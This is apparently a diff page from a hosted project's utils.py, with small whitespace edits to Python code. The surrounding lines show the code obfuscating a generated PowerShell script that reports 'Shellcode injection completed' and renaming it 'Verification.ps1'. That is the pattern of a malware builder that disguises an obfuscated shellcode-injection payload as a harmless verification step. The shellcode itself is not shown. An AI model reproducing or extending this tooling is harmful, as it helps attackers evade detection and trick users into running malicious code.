Spaces:
Sleeping
Sleeping
Update utils.py
Browse files
utils.py
CHANGED
@@ -38,8 +38,6 @@ HEADERS = {
|
|
38 |
def generate_random_string(length=8):
|
39 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
40 |
|
41 |
-
|
42 |
-
Python
|
43 |
def obfuscate_powershell_script(ps1_path):
|
44 |
try:
|
45 |
cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
|
@@ -54,7 +52,7 @@ def obfuscate_powershell_script(ps1_path):
|
|
54 |
|
55 |
if process.returncode != 0:
|
56 |
raise Exception(f"Error obfuscating PowerShell script: {stderr}")
|
57 |
-
|
58 |
# Check if the obfuscated file was created
|
59 |
obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
|
60 |
if not os.path.exists(obfuscated_file):
|
@@ -322,11 +320,11 @@ Write-Host "Shellcode injection completed successfully."
|
|
322 |
|
323 |
# Obfuscate the PowerShell script
|
324 |
obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
|
325 |
-
|
326 |
# Check if the obfuscated file exists before renaming
|
327 |
if not os.path.exists(obfuscated_ps1_path):
|
328 |
raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
|
329 |
-
|
330 |
# Rename the obfuscated file to Verification.ps1
|
331 |
verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
|
332 |
os.rename(obfuscated_ps1_path, verification_ps1_path)
|
|
|
38 |
def generate_random_string(length=8):
|
39 |
return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
|
40 |
|
|
|
|
|
41 |
def obfuscate_powershell_script(ps1_path):
|
42 |
try:
|
43 |
cmd = f'pwsh -f "{OBFUSCATOR_SCRIPT}"'
|
|
|
52 |
|
53 |
if process.returncode != 0:
|
54 |
raise Exception(f"Error obfuscating PowerShell script: {stderr}")
|
55 |
+
|
56 |
# Check if the obfuscated file was created
|
57 |
obfuscated_file = ps1_path.replace(".ps1", "_OBF.ps1")
|
58 |
if not os.path.exists(obfuscated_file):
|
|
|
320 |
|
321 |
# Obfuscate the PowerShell script
|
322 |
obfuscated_ps1_path = obfuscate_powershell_script(ps1_path)
|
323 |
+
|
324 |
# Check if the obfuscated file exists before renaming
|
325 |
if not os.path.exists(obfuscated_ps1_path):
|
326 |
raise FileNotFoundError(f"Obfuscated file not found: {obfuscated_ps1_path}")
|
327 |
+
|
328 |
# Rename the obfuscated file to Verification.ps1
|
329 |
verification_ps1_path = os.path.join(temp_dir, "Verification.ps1")
|
330 |
os.rename(obfuscated_ps1_path, verification_ps1_path)
|